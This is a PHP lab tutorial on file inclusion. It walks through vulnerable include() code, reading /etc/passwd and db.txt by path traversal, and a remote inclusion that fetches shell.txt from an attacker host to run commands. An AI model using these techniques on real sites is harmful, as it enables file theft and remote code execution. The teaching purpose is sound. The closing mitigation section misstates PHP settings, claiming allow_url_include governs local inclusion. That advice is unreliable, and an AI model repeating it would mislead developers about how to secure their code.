PHP lab: File inclusion attacks
File inclusion is one of the popular yet old vulnerabilities that are often seen in websites.
Learn Secure Coding
PHP websites that make use of include() function in an insecure way become vulnerable to file inclusion attacks.
Before going ahead with file inclusion vulnerabilities, let us understand, what include() function does.
A developer can include the content of one PHP file into another PHP file using include() function.
For example:
Let us say, there are two PHP files.
file1.php
<?php
echo "This is sample php file 1…";
?>
file2.php
<?php
echo "This is sample php file 2…";
?>
If the developer wants the contents of file2.php in file1.php, he can simply do that using include function as shown below.
<?php
include('file2.php');
echo "This is sample php file 1…";
?>
How can this be a problem to a website?
We just looked at the static way of how one can include the contents of a file into another file. It is also possible for a developer to include a file as user input and that is where the problem comes in. When the user input is not properly validated, an attacker can include some dangerous files that can be executed by the target server.
File inclusion vulnerabilities are further divided into two types.
1. Local File Inclusion (LFI)
2. Remote File Inclusion (RFI)
We will discuss these two types in a detailed manner in this lab.
Local file inclusion
Developers usually use the include functionality in two different ways.
1. Get the file as user input, insert it as is.
2. Get the file as user input, append an extension to it.
The vulnerable code for both local file inclusion as well as remote file inclusion remains the same. For that reason, let us use the first scenario for Local File Inclusion and second scenario for Remote File Inclusion.
The following excerpt shows the code for lfi.php
<?php
echo '<br/>';
echo 'Hello, Welcome to infosec news';
echo '<br/>';
echo '<br/>';
echo '<html>
<body>
<a href="index.php?page=news.php"><button>Show News</button></a>
</body>
</html>
';
echo '<br/>';
echo '<br/>';
include($_GET['page']);
echo '<br/>';
?>
Note: source code can be accessed from: http://192.168.56.101/webapps/fileinclusion/lfi/lfi.txt
Looking at the above code, we can clearly see that the application is receiving a file from the client using GET request method and including it directly into the current page.
We can access this URL from Kali Linux as shown below.
http://192.168.56.101/webapps/fileinclusion/lfi/
When we click "Show News" button on the above page, it loads the content of news.php into the current page. This is shown below.
How can someone abuse this functionality?
An attacker can remove news.php in the URL and place the following content to traverse to the upper directories to access the file system of the server.
/etc/passwd
Now, the new URL becomes as follows.
http://192.168.56.101/webapps/fileinclusion/lfi/index.php?page=/etc/passwd
The above URL can read the contents of /etc/passwd file as shown in the figure below.
This is also known as Path Traversal.
This is possible. Because once the above path is entered into the URL and given to the PHP code the code of the file lfi.php becomes vulnerable as shown in the following figure.
<?php
echo '<br/>';
echo 'Hello, Welcome to infosec news';
echo '<br/>';
echo '<br/>';
echo '<html>
<body>
<a href="index.php?page=news.php"><button>Show News</button></a>
</body>
</html>
';
echo '<br/>';
echo '<br/>';
include("/etc/passwd");
echo '<br/>';
?>
Hence it loads the contents of the file. Local File Inclusion vulnerabilities can become dangerous, since an attacker can traverse the file system of the server to read sensitive files.
Reading other non-standard files
Let us read the db.txt file, which is available at the following location.
/var/www/webapps/fileinclusion/db.txt
The following figure shows how it can be done.
../ is used to traverse one directory up and display the contents of db.txt.
Remote file inclusion
Now, let us use the second version of the code we discussed in the beginning.
The developer gets the file name from the client and adds the extension to it.
Below is the code for the file rfi.php.
<?php
echo '<br/>';
echo 'Hello, Welcome to infosec news';
echo '<br/>';
echo '<br/>';
echo '<html>
<body>
<a href="index.php?page=news"><button>Show News</button></a>
</body>
</html>
';
echo '<br/>';
echo '<br/>';
$page = $_GET['page'];
include($page. '.php');
echo '<br/>';
?>
Note: source Code can be accessed from: http://192.168.56.101/webapps/fileinclusion/rfi/rfi.txt
Looking at the above code, it is clear that the application is receiving the file and including it into the current page by appending ".php" extension to it.
We can access this page from Kali Linux using the URL shown below.
http://192.168.56.101/webapps/fileinclusion/rfi/
Clicking Show News button will include a file from the file system and display the contents of it. This is shown below.
How can someone abuse this functionality?
An attacker, who has identified that the application is reading the files from the user, can simply input his malicious file as explained below.
Actual URL: http://192.168.56.101/webapps/fileinclusion/rfi/index.php?page=news
An attacker can host a malicious text file on his own server.
http://192.168.56.103/shell.txt
To do this, let us create a file called shell.txt with the contents shown in the figure below.
Copy it to /var/www/html/ on your Kali Linux. The following command can be used assuming that shell.txt is in your root folder on Kali Linux.
cp shell.txt /var/www/html/
Now, start an Apache server on Kali Linux using the following command.
service apache2 start
An attacker will be able to execute the command "id" if the above code runs on the victim's server.
This can be done as shown below.
http://192.168.56.101/webapps/fileinclusion/rfi/index.php?page=http://192.168.56.103/shell.txt
Unfortunately, the URL above didn't show any output for "id" command. This is because the application is trying to load "shell.txt" to the vulnerable page first and then appending the extension ".php" and then requesting the following file from the attacker's server.
"shell.txt.php"
We can see it in the server logs as shown in the figure below.
Note: You can run the following command on Kali Linux machine to view the access logs.
tail –f /var/log/apache2/access.log
Obviously, this file "shell.txt.php" doesn't exist on the server and returning a 404-status code. This is why we did not get any output for "id" command.
How to avoid this?
We can get rid of this problem by adding a "?" at the end of the file as shown below.
http://192.168.56.101/webapps/fileinclusion/rfi/index.php?page=http://192.168.56.103/shell.txt?
So, the server will not consider PHP extension after the file when requested. The server will ignore anything that comes after "?" in the above URL.
So, we will be able to see the output of the command "id" upon executing the content of shell.txt as PHP code.
Remember that, we are only receiving the content of the text file.
The include function will execute that content as PHP code.
Similarly, we can replace "id" command with any command we like and achieve remote code execution.
Recommendations
Preventing file inclusion vulnerabilities
Preventing File Inclusion vulnerabilities at code level is as simple as validating the user input.
Apart from that, the value of "allow_url_include" should be "On" for Local File Inclusion to work.
So, the easiest way to prevent Local File inclusion vulnerabilities is to set the value of "allow_url_include" to "Off" in PHP configuration file as shown below.
However, an attacker can still include a file using URL schemes like http://, which lead to Remote File Inclusion.
To prevent it, we need to set the value of "allow_url_fopen" to "off" in the PHP configuration file as shown below.
Learn Secure Coding